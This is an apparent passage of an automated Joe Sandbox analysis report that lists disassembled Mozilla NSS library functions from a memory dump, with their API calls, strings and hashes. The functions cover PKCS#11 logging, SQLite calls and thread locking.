Opcode ID: 0e122e1851209d7606077ecf0dbceb19184e0a2b84d0a79457faa26dde6f431a
Instruction ID: 6bc1926de66bcbfbe6f95058c8bb21df8189c84d0c80849cb8cb809c53687967
Opcode Fuzzy Hash: 0e122e1851209d7606077ecf0dbceb19184e0a2b84d0a79457faa26dde6f431a
Instruction Fuzzy Hash: 78317AB2E0F911A7D70846B498057F473A5BB8EB18F154137D4244BE54CBE5AC12C3EE

Function 6C642CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C642CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C642D07

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C642D22

Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720B88
Part of subcall function 6C7209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C720C5D
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C720C8D
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720C9C
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720CD1
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720CEC
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720CFB
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720D16
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C720D26
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D35
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C720D65
Part of subcall function 6C7209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C720D70
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720D90
Part of subcall function 6C7209D0: free.MOZGLUE(00000000), ref: 6C720D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C642D3B

Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720BAB
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720BBA
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C642D54

Part of subcall function 6C7209D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C720BCB
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720BDE
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720C16

Strings

C_InitToken, xrefs: 6C642CE7
ulPinLen = %d, xrefs: 6C642D36
pPin = 0x%p, xrefs: 6C642D1D
nrl, xrefs: 6C642D6C, 6C642D9A
slotID = 0x%x, xrefs: 6C642D02
pLabel = 0x%p, xrefs: 6C642D4F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nrl
API String ID: 420000887-2053071873
Opcode ID: a69c78741513aa074ec900d59f3be0fabf9a82634e35be2a63738580636dceac
Instruction ID: 8a541c967d7637ec30e47096e1a7874cb1b61af908d3fdeb10756205cb17b964
Opcode Fuzzy Hash: a69c78741513aa074ec900d59f3be0fabf9a82634e35be2a63738580636dceac
Instruction Fuzzy Hash: B721AF75200168EFDB01AF54DE8CA893BF1FB82329F54C034E518D7622DB319948DBB6

Function 6C6E2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6E2D9F

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

sqlite3_exec.NSS3(?,?,6C6E2F70,?,?), ref: 6C6E2DF9
sqlite3_free.NSS3(00000000), ref: 6C6E2E2C
sqlite3_free.NSS3(?), ref: 6C6E2E3A
sqlite3_free.NSS3(?), ref: 6C6E2E52
sqlite3_mprintf.NSS3(6C74AAF9,?), ref: 6C6E2E62
sqlite3_free.NSS3(?), ref: 6C6E2E70
sqlite3_free.NSS3(?), ref: 6C6E2E89
sqlite3_free.NSS3(?), ref: 6C6E2EBB
sqlite3_free.NSS3(?), ref: 6C6E2ECB
sqlite3_free.NSS3(00000000), ref: 6C6E2F3E
sqlite3_free.NSS3(?), ref: 6C6E2F4C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: d8c753a4b94fe2a1824374baef2a1f97a6367274af0effa6ce43f4aa64b14b58
Instruction ID: b5cd151036e6998cd175456e55ab8cf17dfdae06a0cd1f714d388be7518913b2
Opcode Fuzzy Hash: d8c753a4b94fe2a1824374baef2a1f97a6367274af0effa6ce43f4aa64b14b58
Instruction Fuzzy Hash: 7C616DB5E062168BEB00CFA8D885B9EB7F2AF89348F144029DD55A7701E731EC45CBA5

Function 6C627C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C772120,Function_00097E60,00000000,?,?,?,?,6C6A067D,6C6A1C60,00000000), ref: 6C627C81

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

TlsGetValue.KERNEL32 ref: 6C627CA0
EnterCriticalSection.KERNEL32(?), ref: 6C627CB4
PR_Unlock.NSS3 ref: 6C627CCF

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

TlsGetValue.KERNEL32 ref: 6C627D04
EnterCriticalSection.KERNEL32(?), ref: 6C627D1B
realloc.MOZGLUE(-00000050), ref: 6C627D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C627DF4
PR_Unlock.NSS3 ref: 6C627E0E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 865992468882020a09c4a2ec6ece509d62b02dc7230a8ab7ef109f584022f5eb
Instruction ID: 3d3f012458151f57e8a5a832851bacf6827067d0cb359350ef70b87e6a6f0dc1
Opcode Fuzzy Hash: 865992468882020a09c4a2ec6ece509d62b02dc7230a8ab7ef109f584022f5eb
Instruction Fuzzy Hash: 17510D71A08214EBDF02AF28CC45EA537F1FB42359F25453AE95487722EB349960CFA9

Function 6C677870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C6791C5), ref: 6C67788F

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6791C5), ref: 6C6778BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6791C5), ref: 6C6778FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6791C5), ref: 6C677930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6791C5), ref: 6C677951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C677964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C67797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C677988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C677998
free.MOZGLUE(00000000), ref: 6C6779A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6791C5), ref: 6C6779BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C6791C5), ref: 6C6779CA

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: 9e9d1590c35ac73d4296768c1e41aef935fd661623c216a1d2a55bb8f084e7e6
Instruction ID: 702a31b9ea4080a56eebaa53ba8c4e67d3c3e7bebd94a6bcbbf49915cc124512
Opcode Fuzzy Hash: 9e9d1590c35ac73d4296768c1e41aef935fd661623c216a1d2a55bb8f084e7e6
Instruction Fuzzy Hash: 0141E3B1A003019BEB218B75CC49F6777A8EF45349F240A78E818D7B51E731E808C6BA

Function 6C594C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D97
PR_Lock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594DBA
PR_WaitCondVar.NSS3 ref: 6C594DD4
PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594DEF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: c977db9e04d7aab3a6408de3c43f2eda0e9db92a5aef1bf07d877b8aa701737a
Instruction ID: 890617f30b3b2e6c34b242e9041ea13ff9f43a23449e5051960b6d9a5a3daf80
Opcode Fuzzy Hash: c977db9e04d7aab3a6408de3c43f2eda0e9db92a5aef1bf07d877b8aa701737a
Instruction Fuzzy Hash: A1418BB5A04764CFCB01AF78C898169BBB4BF06318F054AB9D898DB710EB30D894CB95

Function 6C638F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C63905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6390EC

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639111

Strings

nrl, xrefs: 6C6390A3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nrl
API String ID: 2831689957-4163017231
Opcode ID: 4a1ace74f07da549063a431a66c917fc03948dc7ba30777de3b6d80157890703
Instruction ID: 9ff5643c79a09536275931d38af456dd2bf3b6c21109bc647f6bd25698557586
Opcode Fuzzy Hash: 4a1ace74f07da549063a431a66c917fc03948dc7ba30777de3b6d80157890703
Instruction Fuzzy Hash: CC517B70A042258FDF00AF38C4882A9BBF0BF4A318F056579DC489B715EB34E884CF99

Function 6C727CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C727CE0

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C727D36
PR_Realloc.NSS3(?,00000080), ref: 6C727D6D
PR_GetCurrentThread.NSS3 ref: 6C727D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C727DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C727DD8
malloc.MOZGLUE(00000080), ref: 6C727DF8
PR_GetCurrentThread.NSS3 ref: 6C727E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C727DF0
:%s:%d:0x%lx, xrefs: 6C727DB9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 2418fe5770996bc79ddfd9e3a62705bb45197d4e54ee811ec28911a98244b7df
Instruction ID: 1af8f6b3f61876653e9fce23d0ea2862d727f3371681d0dbf11312e6258cf2c5
Opcode Fuzzy Hash: 2418fe5770996bc79ddfd9e3a62705bb45197d4e54ee811ec28911a98244b7df
Instruction Fuzzy Hash: 714106B1A002019FDB08CF38CF919AB37BAFF81318B25456CE8198BB51D735E941CBA5

Function 6C727E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C727E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C727E46

Part of subcall function 6C601240: TlsGetValue.KERNEL32(00000040,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601267
Part of subcall function 6C601240: EnterCriticalSection.KERNEL32(?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C60127C
Part of subcall function 6C601240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601291
Part of subcall function 6C601240: PR_Unlock.NSS3(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C6012A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C727EAF
PR_ImportFile.NSS3(?), ref: 6C727ECF
PR_GetCurrentThread.NSS3 ref: 6C727ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C727F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C727F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C727F15

Strings

%d:0x%lx, xrefs: 6C727EA9
NSPR_INHERIT_FDS, xrefs: 6C727E41

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: e7beb7bb08cda04fd355c6b42815da5d16c351f54e00e53496405eaeda04eab4
Instruction ID: f63191f0a2bfe20c1918db1a63d67622ae6f082d688d2159f104dd6ec69f2299
Opcode Fuzzy Hash: e7beb7bb08cda04fd355c6b42815da5d16c351f54e00e53496405eaeda04eab4
Instruction Fuzzy Hash: B53154B0E0425ADBEB009B69CF80AABB7ACFF46348F140535D84593A11E725DD05C7A6

Function 6C634E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C634E90
EnterCriticalSection.KERNEL32 ref: 6C634EA9
TlsGetValue.KERNEL32 ref: 6C634EC6
EnterCriticalSection.KERNEL32 ref: 6C634EDF
PL_HashTableLookup.NSS3 ref: 6C634EF8
PR_Unlock.NSS3 ref: 6C634F05
PR_Now.NSS3 ref: 6C634F13
PR_Unlock.NSS3 ref: 6C634F3A

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

bUcl, xrefs: 6C634E5C
bUcl, xrefs: 6C634F3F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUcl$bUcl
API String ID: 326028414-2315228791
Opcode ID: f571909751909e21285da874c5418cadf110d7fb5828a3bbf03b91ec0737c8b3
Instruction ID: 882a10f04f85d0814c2907d88ae8ee70f9beda6dd35fd79a526184a401b80365
Opcode Fuzzy Hash: f571909751909e21285da874c5418cadf110d7fb5828a3bbf03b91ec0737c8b3
Instruction Fuzzy Hash: DB415BB4A006159FCB00EF79C4848AAFBF0FF8A304B158569EC899B710EB30E855CF95

Function 6C646C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C646C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646CA3

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C646CD5

Strings

hSession = 0x%x, xrefs: 6C646C7E, 6C646C8E
C_DigestInit, xrefs: 6C646C61
pMechanism = 0x%p, xrefs: 6C646CD0
(CK_INVALID_HANDLE), xrefs: 6C646C9C
nrl, xrefs: 6C646CF4, 6C646D1F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
